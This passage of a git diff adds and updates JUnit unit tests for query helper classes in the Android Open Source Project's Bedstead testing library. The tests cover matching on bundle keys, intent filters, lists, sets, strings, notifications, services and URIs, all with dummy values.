+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.booleanValue().isTrue();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_booleanValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putBoolean(KEY, true);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.booleanValue().isFalse();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_stringListValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putStringArrayList(KEY, STRING_LIST_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringListValue().containsAll(STRING_LIST_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringListValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putStringArrayList(KEY, STRING_LIST_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringListValue().containsAll(DIFFERENT_STRING_LIST_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_integerListValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putIntegerArrayList(KEY, INTEGER_LIST_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.integerListValue().containsAll(INTEGER_LIST_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_integerListValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putIntegerArrayList(KEY, INTEGER_LIST_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.integerListValue().containsAll(DIFFERENT_INTEGER_LIST_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
new file mode 100644
index 0000000..7de4e8e
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class IntentFilterQueryHelperTest {
+
+    private final Queryable mQuery = null;
+
+    private static final Set<String> ACTIONS = Set.of("action1", "action2", "action3");
+    private static final Set<String> CATEGORIES = Set.of("category1", "category2", "category3");
+
+    private static final IntentFilter ACTIONS_INTENT_FILTER = createIntentFilter(ACTIONS, Set.of());
+    private static final IntentFilter CATEGORIES_INTENT_FILTER =
+            createIntentFilter(Set.of(), CATEGORIES);
+
+    private static IntentFilter createIntentFilter(Set<String> actions, Set<String> categories) {
+        IntentFilter filter = new IntentFilter();
+
+        for (String action : actions) {
+            filter.addAction(action);
+        }
+        for (String category : categories) {
+            filter.addCategory(category);
+        }
+
+        return filter;
+    }
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_actionsRestriction_meetsRestriction_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("action1");
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_actionsRestriction_doesNotMeetRestriction_returnsFalse() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("action4");
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isFalse();
+    }
+
+    @Test
+    public void matches_categoriesRestriction_meetsRestriction_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.categories().contains("category1");
+
+        assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_categoriesRestriction_doesNotMeetRestriction_returnsFalse() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("category4");
+
+        assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java
index 45d7d62..6fd2278 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java
@@ -29,7 +29,6 @@
 import org.junit.runners.JUnit4;
 
 import java.util.List;
-import java.util.Set;
 
 @RunWith(JUnit4.class)
 public class ListQueryHelperTest {
@@ -38,6 +37,9 @@
     private static final String BUNDLE_KEY = "key";
     private static final Bundle BUNDLE_CONTAINING_KEY = new Bundle();
     private static final Bundle BUNDLE_NOT_CONTAINING_KEY = new Bundle();
+    private static final Integer INTEGER = 1;
+    private static final Integer DIFFERENT_INTEGER = 2;
+    private static final Integer ANOTHER_DIFFERENT_INTEGER = 3;
     static {
         BUNDLE_CONTAINING_KEY.putString(BUNDLE_KEY, "value");
     }
@@ -63,7 +65,7 @@
     }
 
     @Test
-    public void matches_contains_doesContain_returnsTrue() {
+    public void matches_contains_withQuery_doesContain_returnsTrue() {
         ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
                 new ListQueryHelper<>(mQuery);
 
@@ -76,7 +78,7 @@
     }
 
     @Test
-    public void matches_contains_doesNotContain_returnsFalse() {
+    public void matches_contains_withQuery_doesNotContain_returnsFalse() {
         ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
                 new ListQueryHelper<>(mQuery);
 
@@ -88,7 +90,7 @@
     }
 
     @Test
-    public void matches_doesNotContain_doesContain_returnsFalse() {
+    public void matches_doesNotContain_withQuery_doesContain_returnsFalse() {
         ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
                 new ListQueryHelper<>(mQuery);
 
@@ -101,7 +103,7 @@
     }
 
     @Test
-    public void matches_doesNotContain_doesNotContain_returnsTrue() {
+    public void matches_doesNotContain_withQuery_doesNotContain_returnsTrue() {
         ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
                 new ListQueryHelper<>(mQuery);
 
@@ -112,4 +114,89 @@
         assertThat(listQueryHelper.matches(List.of(BUNDLE_NOT_CONTAINING_KEY))).isTrue();
     }
 
+    @Test
+    public void matches_contains_withNonQuery_doesContain_returnsTrue() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.contains(INTEGER);
+
+        assertThat(listQueryHelper.matches(
+                List.of(INTEGER, DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_contains_withNonQuery_doesNotContain_returnsFalse() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.contains(INTEGER);
+
+        assertThat(listQueryHelper.matches(List.of(DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_withNonQuery_doesContain_returnsFalse() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContain(INTEGER);
+
+        assertThat(listQueryHelper.matches(
+                List.of(INTEGER, DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_withNonQuery_doesNotContain_returnsTrue() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContain(INTEGER);
+
+        assertThat(listQueryHelper.matches(List.of(DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_containsAll_withNonQueries_doesContain_returnsTrue() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.containsAll(List.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(listQueryHelper.matches(
+                List.of(INTEGER, DIFFERENT_INTEGER, ANOTHER_DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_containsAll_withNonQueries_doesNotContain_returnsFalse() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.containsAll(List.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(listQueryHelper.matches(
+                List.of(DIFFERENT_INTEGER, ANOTHER_DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContainAny_withNonQueries_doesContain_returnsFalse() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContainAny(List.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(listQueryHelper.matches(
+                List.of(INTEGER, ANOTHER_DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContainAny_withNonQueries_doesNotContain_returnsTrue() {
+        ListQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContainAny(List.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(listQueryHelper.matches(
+                List.of(ANOTHER_DIFFERENT_INTEGER))).isTrue();
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/NotificationQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/NotificationQueryHelperTest.java
new file mode 100644
index 0000000..4866bff
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/NotificationQueryHelperTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Notification;
+import android.content.Context;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.nene.TestApis;
+import com.android.queryable.Queryable;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(BedsteadJUnit4.class)
+public class NotificationQueryHelperTest {
+
+    @ClassRule @Rule
+    public static DeviceState sDeviceState = new DeviceState();
+
+    private static final Context CONTEXT = TestApis.context().instrumentedContext();
+
+    private final Queryable mQuery = null;
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        Notification notification = new Notification();
+        NotificationQueryHelper<Queryable> notificationQueryHelper =
+                new NotificationQueryHelper<>(mQuery);
+
+        assertThat(notificationQueryHelper.matches(notification)).isTrue();
+    }
+
+    @Test
+    public void matches_channelId_meetsRestriction_returnsTrue() {
+        Notification notification =
+                new Notification.Builder(CONTEXT, /* channelId= */ STRING_VALUE).build();
+        NotificationQueryHelper<Queryable> notificationQueryHelper =
+                new NotificationQueryHelper<>(mQuery);
+
+        notificationQueryHelper.channelId().isEqualTo(STRING_VALUE);
+
+        assertThat(notificationQueryHelper.matches(notification)).isTrue();
+    }
+
+    @Test
+    public void matches_channelId_doesNotMeetRestriction_returnsFalse() {
+        Notification notification =
+                new Notification.Builder(CONTEXT, /* channelId= */ STRING_VALUE).build();
+        NotificationQueryHelper<Queryable> notificationQueryHelper =
+                new NotificationQueryHelper<>(mQuery);
+
+        notificationQueryHelper.channelId().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(notificationQueryHelper.matches(notification)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
new file mode 100644
index 0000000..e1df33d
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class ServiceQueryHelperTest {
+
+    private final Queryable mQuery = null;
+
+    private static final Class<? extends Service> CLASS_1 = Service.class;
+
+
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+
+    private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
+
+    private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_1 =
+            createServiceInfo(CLASS_1_CLASS_NAME);
+    private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_2 =
+            createServiceInfo("different.class.name");
+
+    private static android.content.pm.ServiceInfo createServiceInfo(String name) {
+        android.content.pm.ServiceInfo serviceInfo = new android.content.pm.ServiceInfo();
+        serviceInfo.name = name;
+
+        return serviceInfo;
+    }
+
+    private static final ServiceInfo CLASS_1_SERVICE_INFO =
+            ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_1).build();
+    private static final ServiceInfo CLASS_2_SERVICE_INFO =
+            ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_2).build();
+    private static final ServiceInfo INTENT_FILTER_SERVICE_INFO = ServiceInfo.builder()
+            .serviceClass(CLASS_1_CLASS_NAME)
+            .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+            .build();
+
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_serviceClass_doesMatch_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+        assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_serviceClass_doesNotMatch_returnsFalse() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+        assertThat(serviceQueryHelper.matches(CLASS_2_SERVICE_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_intentFilters_matches_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.intentFilters().contains(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_intentFilters_doesNotMatch_returnsFalse() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.intentFilters().contains(
+                intentFilter().actions().doesNotContain("action")
+        );
+
+        assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java
index c43697c..855b6e7 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java
@@ -37,13 +37,18 @@
     private static final String BUNDLE_KEY = "key";
     private static final Bundle BUNDLE_CONTAINING_KEY = new Bundle();
     private static final Bundle BUNDLE_NOT_CONTAINING_KEY = new Bundle();
+    private static final Integer INTEGER = 1;
+    private static final Integer DIFFERENT_INTEGER = 2;
+    private static final Integer ANOTHER_DIFFERENT_INTEGER = 3;
+
     static {
         BUNDLE_CONTAINING_KEY.putString(BUNDLE_KEY, "value");
     }
 
     @Test
     public void matches_size_matches_returnsTrue() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.size().isEqualTo(1);
 
@@ -52,7 +57,8 @@
 
     @Test
     public void matches_size_doesNotMatch_returnsFalse() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.size().isEqualTo(1);
 
@@ -60,8 +66,9 @@
     }
 
     @Test
-    public void matches_contains_doesContain_returnsTrue() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+    public void matches_contains_withQuery_doesContain_returnsTrue() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.contains(
                 bundle().key(BUNDLE_KEY).exists()
@@ -71,8 +78,9 @@
     }
 
     @Test
-    public void matches_contains_doesNotContain_returnsFalse() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+    public void matches_contains_withQuery_doesNotContain_returnsFalse() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.contains(
                 bundle().key(BUNDLE_KEY).exists()
@@ -82,8 +90,9 @@
     }
 
     @Test
-    public void matches_doesNotContain_doesContain_returnsFalse() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+    public void matches_doesNotContain_withQuery_doesContain_returnsFalse() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.doesNotContain(
                 bundle().key(BUNDLE_KEY).exists()
@@ -93,8 +102,9 @@
     }
 
     @Test
-    public void matches_doesNotContain_doesNotContain_returnsTrue() {
-        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+    public void matches_doesNotContain_withQuery_doesNotContain_returnsTrue() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
 
         setQueryHelper.doesNotContain(
                 bundle().key(BUNDLE_KEY).exists()
@@ -103,4 +113,89 @@
         assertThat(setQueryHelper.matches(Set.of(BUNDLE_NOT_CONTAINING_KEY))).isTrue();
     }
 
+    @Test
+    public void matches_contains_withNonQuery_doesContain_returnsTrue() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.contains(INTEGER);
+
+        assertThat(setQueryHelper.matches(
+                Set.of(INTEGER, DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_contains_withNonQuery_doesNotContain_returnsFalse() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.contains(INTEGER);
+
+        assertThat(setQueryHelper.matches(Set.of(DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_withNonQuery_doesContain_returnsFalse() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContain(INTEGER);
+
+        assertThat(setQueryHelper.matches(
+                Set.of(INTEGER, DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_withNonQuery_doesNotContain_returnsTrue() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContain(INTEGER);
+
+        assertThat(setQueryHelper.matches(Set.of(DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_containsAll_withNonQueries_doesContain_returnsTrue() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.containsAll(Set.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(setQueryHelper.matches(
+                Set.of(INTEGER, DIFFERENT_INTEGER, ANOTHER_DIFFERENT_INTEGER))).isTrue();
+    }
+
+    @Test
+    public void matches_containsAll_withNonQueries_doesNotContain_returnsFalse() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.containsAll(Set.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(setQueryHelper.matches(
+                Set.of(DIFFERENT_INTEGER, ANOTHER_DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContainAny_withNonQueries_doesContain_returnsFalse() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContainAny(Set.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(setQueryHelper.matches(
+                Set.of(INTEGER, ANOTHER_DIFFERENT_INTEGER))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContainAny_withNonQueries_doesNotContain_returnsTrue() {
+        SetQueryHelper<Queryable, Integer, IntegerQuery<Queryable>> setQueryHelper =
+                new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContainAny(Set.of(INTEGER, DIFFERENT_INTEGER));
+
+        assertThat(setQueryHelper.matches(
+                Set.of(ANOTHER_DIFFERENT_INTEGER))).isTrue();
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/StringQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/StringQueryHelperTest.java
index 9797b8c..dcfb4d1 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/StringQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/StringQueryHelperTest.java
@@ -58,4 +58,55 @@
 
         assertThat(stringQueryHelper.matches(STRING_VALUE)).isFalse();
     }
+
+    @Test
+    public void matches_isNotEqualTo_meetsRestriction_returnsTrue() {
+        StringQueryHelper<Queryable> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isNotEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isNotEqualTo_doesNotMeetRestriction_returnsFalse() {
+        StringQueryHelper<Queryable> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isNotEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(DIFFERENT_STRING_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isNotEqualTo_multipleRestrictions_doesNotMeetRestriction_returnsFalse() {
+        StringQueryHelper<Queryable> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isNotEqualTo(DIFFERENT_STRING_VALUE);
+        stringQueryHelper.isNotEqualTo(STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(DIFFERENT_STRING_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isNull_meetsRestriction_returnsTrue() {
+        StringQueryHelper<Queryable> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isNull();
+
+        assertThat(stringQueryHelper.matches(null)).isTrue();
+    }
+
+    @Test
+    public void matches_isNotNull_doesNotMeetRestriction_returnsFalse() {
+        StringQueryHelper<Queryable> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isNotNull();
+
+        assertThat(stringQueryHelper.matches(null)).isFalse();
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/UriQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/UriQueryHelperTest.java
new file mode 100644
index 0000000..4ef388c
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/UriQueryHelperTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.net.Uri;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UriQueryHelperTest {
+
+    private static final Queryable QUERY = null;
+    private static final String URI_STRING_VALUE = "http://uri";
+    private static final Uri URI_VALUE = Uri.parse(URI_STRING_VALUE);
+    private static final String DIFFERENT_URI_STRING_VALUE = "http://uri2";
+    private static final Uri DIFFERENT_URI_VALUE = Uri.parse(DIFFERENT_URI_STRING_VALUE);
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        UriQueryHelper<Queryable> uriQueryHelper = new UriQueryHelper<>(QUERY);
+
+        assertThat(uriQueryHelper.matches(URI_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        UriQueryHelper<Queryable> uriQueryHelper = new UriQueryHelper<>(QUERY);
+
+        uriQueryHelper.isEqualTo(URI_VALUE);
+
